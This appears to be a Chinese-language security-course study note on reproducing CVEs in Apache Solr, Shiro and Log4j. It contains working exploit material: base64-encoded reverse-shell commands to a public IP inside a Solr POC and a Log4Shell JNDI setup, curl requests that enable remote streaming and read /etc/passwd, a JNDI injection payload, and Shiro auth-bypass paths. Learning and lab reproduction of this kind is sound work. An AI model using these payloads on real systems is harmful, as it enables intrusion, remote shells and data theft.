服务攻防-开发组件安全(Solr / Shiro / Log4j)与本地 CVE 复现
学习自B站小迪安全课程
本文把"服务攻防"里关于 J2EE 开发组件安全的内容串成一篇文章,面向零基础读者:既讲清楚 Solr、Shiro、Log4j 这三个组件是什么、为什么会被攻击,也把能直接照做的命令和链接留下来,方便复习和复现。
前置知识(提前了解)
- Apache Solr:基于 HTTP 和 Apache Lucene 实现的全文搜索服务器,常见端口 8393。
- Apache Shiro:Java 安全框架,负责身份验证、授权、加密和会话管理;黑盒识别特征是 Cookie 里出现 rememberMe。
- Apache Log4j / Log4j2:Java 生态最常用的日志记录框架。
- RCE(远程代码执行):攻击者能在目标服务器上执行任意系统命令。
- CVE:公开漏洞的统一编号,如 CVE-2021-44228。
- SSRF(服务器端请求伪造):让服务器代替攻击者去请求其他地址或读取本地文件。
- JNDI 注入:利用 Java 命名与目录接口去加载远程类,常被 Log4j、Shiro 等漏洞利用来 RCE。
- DataImportHandler:Solr 的数据导入模块,默认不启用,一旦启用且 Admin UI 未鉴权就可能被利用。
- rememberMe:Shiro 的"记住我" Cookie,Shiro-550/721 等经典漏洞都围绕它展开。
工具与命令清单(提前准备)
- solr_rce.py — Solr CVE-2019-17558 利用脚本(项目地址见参考链接)。
- JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar — 一键生成 JNDI 注入服务(用于 Log4j 复现)。
- curl — 用于发送 Solr Config API 请求和文件读取请求。
- Vulhub — Docker 靶场环境,方便本地复现 Solr CVE-2019-0193 等漏洞。
一、开发组件在安全攻防中的位置
服务攻防里,"开发组件"和数据库、中间件、开发框架、应用协议并列,是常见的复现对象。总体思路不变:先通过端口、指纹、Banner、图标等信息判断目标用了什么组件,再对照该组件已知的 CVE 漏洞或配置缺陷去复现。
常见 Java 开发组件有很多,除了本文的 Solr、Shiro、Log4j,还有 Struts2、Flink、Flume、Dubbo、Redis、ElasticSearch、Kafka、FastJson、Jackson、XStream 等。不同组件的漏洞类型不同,但学习方法一致:先看它是做什么的,再看它历史上出过什么高危漏洞,最后动手复现。
二、Solr 全文搜索组件
Solr 是基于 HTTP 和 Apache Lucene 实现的全文搜索服务器。识别它有两个简单办法:看服务图标、看端口 8393。Solr 历史上漏洞不少,下面讲三个典型 CVE。
2.1 命令执行 CVE-2019-17558
- 影响版本:Apache Solr 5.0.0 至 8.3.1
- 利用方式:使用开源脚本
solr_rce.py直接对目标执行命令。 - 实操命令:
D:\Python27\python.exe solr_rce.py http://123.58.236.76:50847 id
预期结果:返回 id 命令在目标上的执行结果,说明存在 RCE。
2.2 远程命令执行 CVE-2019-0193
- 影响版本:Apache Solr < 8.2.0
- 利用前提:
- Solr 的 DataImportHandler 模块被启用(默认不启用);
- Solr Admin UI 未开启鉴权认证(默认无需认证)。
- 利用思路:进入 Solr Admin UI 的 Dataimport 功能,选择 debug 模式,填入下面这段 POC XML,点击 "Execute with this Configuration",即可让 Solr 执行脚本里的命令。
<dataConfig>
<dataSource type="URLDataSource"/>
<script><![CDATA[
function poc(){
java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3LzU1NjYgMD4mMQ==}|{base64,-d}|{bash,-i}");
}
]]></script>
<document>
<entity name="stackoverflow"
url="https://stackoverflow.com/feeds/tag/solr"
processor="XPathEntityProcessor"
forEach="/feed"
transformer="script:poc" />
</document>
</dataConfig>
理解要点:XML 里的 <script> 定义了一个 poc() 函数,函数里执行了一段 base64 编码的 bash 指令。解码后是 bash -i >& /dev/tcp/47.94.236.117/5566 0>&1,作用是让目标主动反向连接到攻击者。<entity> 的 transformer="script:poc" 负责触发这个函数。
2.3 文件读取与 SSRF CVE-2021-27905
- 影响范围:全版本,官方已拒绝修复。
- 利用思路:Solr 的
stream.url参数可以读取本地文件,也可以请求内网地址。但默认情况下enableRemoteStreaming是关闭的,需要先通过 Config API 把它打开。 - 实操步骤:
- 获取已有核心(core)名称:
http://47.94.236.117:8983/solr/admin/cores?indexInfo=false&wt=json
- 开启远程流读取(把
demo换成你拿到的 core 名):
curl -i -s -k -X $'POST' \
-H $'Content-Type: application/json' \
--data-binary $'{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' \
$'http://47.94.236.117:8983/solr/demo/config'
- 读取任意文件(以
/etc/passwd为例):
curl -i -s -k 'http://47.94.236.117:8983/solr/demo/debug/dump?param=ContentStreams&stream.url=file:///etc/passwd'
预期结果:返回 /etc/passwd 的内容,证明可越权读取服务器文件。
三、Shiro 身份验证组件
Shiro 是 Java 安全框架,负责身份验证、授权、加密和会话管理。它的经典黑盒识别特征是 HTTP 请求 Cookie 里出现 rememberMe 字段。围绕 rememberMe 的加解密逻辑,Shiro 历史上出过多个高危漏洞。
3.1 CVE-2016-4437(Shiro-550 + Shiro-721)
- 影响范围:Apache Shiro <= 1.2.4
- 漏洞本质:rememberMe Cookie 使用固定密钥进行 AES 加密,攻击者知道密钥后可以构造恶意序列化对象,触发反序列化 RCE。
- 实操:使用"工具箱利用项目搜哈"(集成 Shiro-550 / 721 的利用工具),输入目标地址和 rememberMe Cookie 即可测试。
3.2 CVE-2020-11989
- 影响范围:Apache Shiro < 1.7.1
- PoC 路径:
/admin/%20
理解要点:URL 编码后的空格 %20 可以绕过 Shiro 的某些路径匹配规则,从而访问到本应被拦截的管理接口。
3.3 CVE-2020-1957
- 影响范围:Apache Shiro < 1.5.3
- PoC 路径:
/xxx/..;/admin/
理解要点:..; 这种形式的目录穿越可以让 Shiro 和 Spring 对路径的理解不一致,Shiro 认为你在访问 /xxx/..;/admin/,而 Spring 实际映射到 /admin/,从而绕过鉴权。
3.4 CVE-2022-32532
- 影响范围:Apache Shiro < 1.9.1
- PoC 路径:
/permit/any/permit/a%0any
理解要点:%0a 是换行符 URL 编码。该漏洞依赖于目标代码的具体写法,无法完全自动化,利用条件较苛刻,实际风险相对较低。
四、Log4j 日志组件
Log4j / Log4j2 是 Java 最常用的日志框架。它的 CVE-2021-44228(俗称 Log4Shell)是近年来影响最大的漏洞之一:当日志内容里出现 ${jndi:...} 时,Log4j2 会主动发起 JNDI 查找,进而加载远程恶意类并执行代码。
4.1 Log4j2 远程命令执行 CVE-2021-44228
- 影响版本:Apache Log4j2 2.0 - 2.15.0-rc1
- 黑盒识别特征:盲打时往任意输入点丢
${jndi:rmi:///...},如果目标存在漏洞,攻击者会收到反向连接。蓝队防守时也会关注请求中是否出现类似${jndi:rmi:///osutj8}的字符串。 - 实操步骤:
- 用 JNDI 注入工具生成反弹 Shell 服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \
-C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Ny45NC4yMzYuMTE3Lzk5MDAgMD4mMQ==}|{base64,-d}|{bash,-i}" \
-A 47.94.236.117
理解要点:-C 后面是要让目标执行的命令,这里 base64 解码后是 bash -i >& /dev/tcp/47.94.236.117/9900 0>&1;-A 是攻击者 IP,JNDI 服务会监听在该 IP 上。
- 构造 JNDI 注入 Payload 并提交到目标的任意输入点(如请求头、用户名、搜索框等):
${jndi:rmi://47.94.236.117:1099/osutj8}
URL 编码版本:
%24%7b%6a%6e%64%69%3a%72%6d%69%3a%2f%2f%34%37%2e%39%34%2e%32%33%36%2e%31%31%37%3a%31%30%39%39%2f%6f%73%75%74%6a%38%7d
预期结果:目标解析日志时触发 JNDI 查找,从 rmi://47.94.236.117:1099/osutj8 加载恶意类,执行反弹 shell 命令,攻击者在 9900 端口收到 shell。
参考链接
- Solr 历史漏洞汇总:https://avd.aliyun.com/search?q=Solr
- Solr CVE-2019-17558 利用脚本:https://github.com/jas502n/solr_rce
- Solr CVE-2019-0193 Vulhub 环境:https://vulhub.org/#/environments/solr/CVE-2019-0193/
- Shiro 历史漏洞汇总:https://avd.aliyun.com/search?q=Shiro
- Log4j 历史漏洞汇总:https://avd.aliyun.com/search?q=Log4j
注:原始文档以截图为主,以上整理基于 5 页渲染截图与 DOCX 文本层提取的概念、版本、命令与链接。涉及录像课件、软件包等资料下载地址,原文仅标注"补充:涉及录像课件资源软件包资料等下载地址",具体地址需自行补充。

浙公网安备 33010602011771号